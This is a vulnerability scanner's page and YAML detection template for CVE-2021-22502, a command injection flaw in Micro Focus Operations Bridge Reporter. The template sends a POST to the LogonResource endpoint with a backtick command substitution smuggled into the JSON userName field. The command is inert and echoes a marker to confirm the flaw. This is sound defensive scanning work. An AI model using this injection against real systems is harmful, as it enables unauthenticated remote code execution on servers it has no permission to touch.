Micro Focus Operations Bridge Reporter — 1 vulnerability check
noctis ships 1 vulnerability check for Micro Focus Operations Bridge Reporter, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Micro Focus Operations Bridge Reporter unauthenticated RCE
| CVE | CVE-2021-22502 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/microfocus-obr/CVE-2021-22502.yaml |
Probes the OBR AdminService LogonResource endpoint with an inert command substitution injected into the JSON `userName` field. The payload embeds a per-run random marker split by an empty `$()`; a vulnerable instance's shell collapses the substitution and echoes the contiguous marker back, confirming unauthenticated command injection (QoD 97).
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /AdminService/urest/v1/LogonResourcewith a crafted body - Checks
resp.bodyforNOCTIS[0-9a-f]{32}→ finding QoD 97: Unauthenticated command injection confirmed on OBR LogonResource — shell collapsed the empty command substitution into the per-run marker (…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22502
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22502.yaml
- https://www.rapid7.com/db/?q=CVE-2021-22502
Feed source — tests/vulnerabilities/microfocus-obr/CVE-2021-22502.yaml
# Micro Focus Operations Bridge Reporter (OBR) — unauthenticated RCE / command injection
# CVE-2021-22502 (CISA KEV, EPSS 0.967, CVSS 9.8)
#
# OBR's AdminService LogonResource endpoint passes the attacker-controlled
# `userName` field into a shell context without sanitisation, so a command
# substitution embedded in the value is executed before authentication.
#
# Safe, inert detection — command-substitution collapse (no real command run):
# A `script` step mints a per-run random token and builds a marker
# "NOCTIS<tok>". The injected value carries the marker with an EMPTY command
# substitution spliced into it: "NOCTIS$()<tok>". The two halves are only
# rejoined into the contiguous marker if a real shell evaluates and removes
# the `$()`. We never execute anything of consequence — `echo` only prints the
# marker back. A server that merely reflects the request body verbatim keeps
# the `$()` in place and does NOT match; a constant-marker/cheating responder
# returns a different token and fails the run-token condition. Only genuine
# shell evaluation collapses `$()` to yield the exact marker for this run.
uid: ce595487-7460-43d4-84eb-01c4502c0e73
name: "Micro Focus Operations Bridge Reporter unauthenticated RCE (CVE-2021-22502)"
description: |
Probes the OBR AdminService LogonResource endpoint with an inert command
substitution injected into the JSON `userName` field. The payload embeds a
per-run random marker split by an empty `$()`; a vulnerable instance's shell
collapses the substitution and echoes the contiguous marker back, confirming
unauthenticated command injection (QoD 97).
cves: [CVE-2021-22502]
cvss: 9.8
category: rce
severity: critical
confidence_base: 0.25
tags: [microfocus, obr, operations-bridge-reporter, rce, command-injection, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-22502"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22502.yaml"
- "https://www.rapid7.com/db/?q=CVE-2021-22502"
steps:
# ── Mint a per-run token + collapse-probe payload ────────────────────────
# tok is unique to this run, so a cached/constant response cannot satisfy the
# run-token condition below. The empty `$()` is spliced between the marker
# prefix and the token; only a real shell removes it to rejoin the marker.
- id: mint-token
action: script
store_as: inj
code: |
let tok = rand_hex(16);
#{
tok: tok,
marker: "NOCTIS" + tok,
payload: "NOCTIS$()" + tok
}
# ── Inject into userName (POST body — reqwest does not normalise bodies) ──
- id: probe
action: http_request
method: POST
path: "/AdminService/urest/v1/LogonResource"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: application/json
body: '{"userName":"noctis`echo {{inj.payload}}`","credential":"noctis"}'
store_as: resp
# ── Confirm the shell actually collapsed $() into the contiguous marker ──
# Gated on this run's exact marker: a verbatim reflection keeps the `$()`
# (no contiguous marker) and a constant-marker responder uses a different
# token — both fail the condition and produce no finding.
- id: confirm-rce
action: match
source: resp.body
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.status == 200 && stridx(resp.body, inj.marker) >= 0"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Unauthenticated command injection confirmed on OBR LogonResource — shell collapsed the empty command substitution into the per-run marker (status {{resp.status}}): {{resp.body}}"